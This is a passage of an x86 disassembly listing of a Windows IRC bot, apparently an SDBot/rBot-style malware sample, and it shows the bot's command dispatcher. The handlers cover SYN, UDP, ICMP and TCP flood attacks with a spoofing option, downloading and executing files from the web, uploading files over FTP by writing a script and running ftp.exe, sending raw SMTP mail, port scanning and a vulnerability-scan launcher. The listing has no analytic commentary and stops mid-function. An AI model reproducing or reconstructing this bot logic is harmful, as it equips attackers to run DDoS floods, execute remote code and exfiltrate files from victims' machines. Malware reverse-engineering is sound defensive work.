loc_40EF86:				; CODE XREF: sub_40CE55+1ECCj
					; sub_40CE55+1F26j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40EFA7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_40EFA7:				; CODE XREF: sub_40CE55+2134j
					; sub_40CE55+44CDj ...
		mov	esi, [ebp+arg_24]


loc_40EFAA:				; CODE XREF: sub_40CE55+9A7j
					; sub_40CE55+47A8j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		pop	ecx
		mov	eax, esi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_40EFBE:				; CODE XREF: sub_40CE55+1EA9j
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C9
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C9
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41118A
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41118A
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411137
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411137
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C9
		push	[ebp+arg_8]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C9
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411066
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411066
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411027
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411027
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F3A
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F3A
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC9
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC9
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA3
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA3
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E40
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E40
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D7A
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D7A
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDF
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDF
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B61
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B61
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AC0
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AC0
		push	[ebp+arg_8]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C2
		push	[ebp+arg_8]
		push	offset aBox_ff	; "box.ff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C2
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410971
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410971
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410876
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410876
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41078B
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41078B
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410588
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410588
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41044A
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41044A
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410350
		push	[ebp+arg_8]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410350
		push	[ebp+arg_8]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025D
		push	[ebp+arg_8]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025D
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410188
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410188
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410073
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410073
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aVuln_start ; "vuln.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aPu	; "pu"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aPg	; "pg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F73D
		lea	eax, [ebp+var_3E4]
		push	edi
		push	eax
		call	sub_415C00
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415C00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_B94]
		push	eax
		call	sub_415C00
		push	offset asc_426A00 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_80]
		call	sub_4099AA
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		call	sub_415C00
		add	esp, 30h
		lea	eax, [ebp+var_6F4]
		push	eax
		push	101h
		call	dword_43A310	; WSAStartup
		lea	eax, [ebp+var_3E4]
		push	eax
		call	dword_43A41C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43A418	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2D4], eax
		call	dword_43A398	; ntohs
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_B94]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_159C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_43A3B0	; recv
		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_159C]
		push	eax
		push	esi
		call	dword_43A3E8	; send
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_43A3B0	; recv
		push	esi
		call	dword_43A430	; closesocket
		call	dword_43A2F8	; WSACleanup
		lea	eax, [ebp+var_B94]
		push	eax
		push	offset unk_4351E0


loc_40F704:				; CODE XREF: sub_40CE55+3A1Cj
					; sub_40CE55+3D07j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_40F713:				; CODE XREF: sub_40CE55+3A00j
					; sub_40CE55+3CABj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4124D6
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_4124D6
; ---------------------------------------------------------------------------


loc_40F73D:				; CODE XREF: sub_40CE55+2759j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E
		push	4
		push	esi
		call	sub_40C1FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7DB
		push	esi
		push	offset dword_435184


loc_40F7A2:				; CODE XREF: sub_40CE55+2C63j
					; sub_40CE55+3219j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_40F7B1:				; CODE XREF: sub_40CE55+2C47j
					; sub_40CE55+31FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	[ebp+var_4]


loc_40F7BE:				; CODE XREF: sub_40CE55+382Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_40F7CE:				; CODE XREF: sub_40CE55+50D1j
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_41284E
; ---------------------------------------------------------------------------


loc_40F7DB:				; CODE XREF: sub_40CE55+2945j
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_415543
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415543
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415543
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+var_B98]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_B98]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40D219
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B96
		push	[ebp+arg_24]
		call	sub_415B40
		lea	eax, [ebp+var_B98]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4154E7
		add	esp, 2Ch
		lea	eax, [ebp+var_3E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43A30C	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F8A5
		push	offset dword_435108
		jmp	short loc_40F8AA
; ---------------------------------------------------------------------------


loc_40F8A5:				; CODE XREF: sub_40CE55+2A47j
		push	offset dword_4350C8


loc_40F8AA:				; CODE XREF: sub_40CE55+2A4Ej
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F8D3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_40F8D3:				; CODE XREF: sub_40CE55+2A60j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D


loc_40F8DF:				; CODE XREF: sub_40CE55+2AAFj
		lea	eax, [ebp+var_B98]
		push	4
		push	eax
		call	sub_40C1FE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D219
		lea	eax, [ebp+var_B98]
		push	eax
		call	sub_4178FC
		jmp	short loc_40F8DF
; ---------------------------------------------------------------------------


loc_40F906:				; CODE XREF: sub_40CE55+28F9j
					; sub_40CE55+2910j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_415A5F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406B1D
		jmp	loc_41298B
; ---------------------------------------------------------------------------


loc_40F934:				; CODE XREF: sub_40CE55+272Bj
					; sub_40CE55+2742j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F997
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aAck	; "ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aRandom	; "random"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		push	offset dword_43508C
		jmp	loc_41202C
; ---------------------------------------------------------------------------


loc_40F997:				; CODE XREF: sub_40CE55+2B08j
					; sub_40CE55+2B1Fj ...
		push	[ebp+arg_10]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_40FABD
		push	edi
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_700]
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_0]
		call	sub_415A5F
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_574], ebx
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FA2E
		mov	eax, offset aNormal ; "Normal"


loc_40FA2E:				; CODE XREF: sub_40CE55+2BD2j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_435034
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Ch
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_401BD6
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40FAAC


loc_40FA96:				; CODE XREF: sub_40CE55+2C55j
		cmp	[ebp+var_568], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40FA96
; ---------------------------------------------------------------------------


loc_40FAAC:				; CODE XREF: sub_40CE55+2C3Fj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434FE8
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_40FABD:				; CODE XREF: sub_40CE55+2B53j
		push	offset dword_434F9C
		jmp	loc_41202C
; ---------------------------------------------------------------------------


loc_40FAC7:				; CODE XREF: sub_40CE55+26E6j
					; sub_40CE55+26FDj ...
		cmp	dword_43A488, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40FBCF
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		push	[ebp+arg_10]
		mov	[ebp+var_300], eax
		call	sub_415A5F
		push	7Fh
		mov	[ebp+var_2FC], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416D40
		push	[ebp+var_2FC]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_304]
		push	offset unk_434F40
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Eh
		push	eax
		call	sub_414F93
		add	esp, 48h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_40A217
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40FBBE


loc_40FBAC:				; CODE XREF: sub_40CE55+2D67j
		cmp	[ebp+var_2E8], ebx
		jnz	short loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40FBAC
; ---------------------------------------------------------------------------


loc_40FBBE:				; CODE XREF: sub_40CE55+2D55j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434EF4
		jmp	loc_41077A
; ---------------------------------------------------------------------------


loc_40FBCF:				; CODE XREF: sub_40CE55+2C7Bj
		push	1FFh
		lea	eax, [ebp+var_2C8]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D40


loc_40FBE5:				; CODE XREF: sub_40CE55+3931j
		add	esp, 0Ch


loc_40FBE8:				; CODE XREF: sub_40CE55+2D5Dj
					; sub_40CE55+2EA4j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	[ebp+var_4]
		jmp	loc_411F18
; ---------------------------------------------------------------------------


loc_40FBFA:				; CODE XREF: sub_40CE55+26A1j
					; sub_40CE55+26B8j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		push	[ebp+arg_10]
		mov	[ebp+var_300], eax
		call	sub_415A5F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_2FC], eax
		jz	short loc_40FC5F
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_2F8], eax
		jmp	short loc_40FC65
; ---------------------------------------------------------------------------


loc_40FC5F:				; CODE XREF: sub_40CE55+2DF9j
		mov	[ebp+var_2F8], ebx


loc_40FC65:				; CODE XREF: sub_40CE55+2E08j
		push	7Fh
		lea	eax, [ebp+var_404]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		push	[ebp+var_2FC]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_304]
		push	offset dword_434E80
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Fh
		push	eax
		call	sub_414F93
		add	esp, 30h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_40A3A3
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40FD09


loc_40FCF3:				; CODE XREF: sub_40CE55+2EB2j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40FCF3
; ---------------------------------------------------------------------------


loc_40FD09:				; CODE XREF: sub_40CE55+2E9Cj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434E34
		jmp	loc_41077A
; ---------------------------------------------------------------------------


loc_40FD1A:				; CODE XREF: sub_40CE55+2673j
					; sub_40CE55+268Aj
		push	8
		call	sub_4151DB
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_415A5F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FD6D
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434DE0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C


loc_40FD65:				; CODE XREF: sub_40CE55+4330j
		add	esp, 20h
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_40FD6D:				; CODE XREF: sub_40CE55+2EE1j
		push	edi
		call	sub_415A5F
		push	[ebp+arg_18]
		mov	[ebp+var_31C], eax
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_318], eax
		jnb	short loc_40FDA6
		push	1
		pop	eax
		mov	[ebp+var_318], eax


loc_40FDA6:				; CODE XREF: sub_40CE55+2F46j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FDB3
		mov	[ebp+var_318], ecx


loc_40FDB3:				; CODE XREF: sub_40CE55+2F56j
		push	[ebp+arg_10]
		call	sub_415A5F
		mov	[ebp+var_314], eax
		mov	eax, 1F4h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_40FDD5
		mov	[ebp+var_314], eax


loc_40FDD5:				; CODE XREF: sub_40CE55+2F78j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_427338, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40FE2B
		mov	[ebp+arg_24], offset dword_427338


loc_40FDEE:				; CODE XREF: sub_40CE55+2FB8j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE11
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40FDEE
		jmp	short loc_40FE2B
; ---------------------------------------------------------------------------


loc_40FE11:				; CODE XREF: sub_40CE55+2FAAj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427338[ecx]
		mov	[ebp+var_31C], ecx


loc_40FE2B:				; CODE XREF: sub_40CE55+2F90j
					; sub_40CE55+2FBAj
		cmp	[ebp+var_31C], ebx
		jz	loc_411C49
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40FE72
		cmp	byte ptr [edi],	23h
		jz	short loc_40FE72
		push	edi
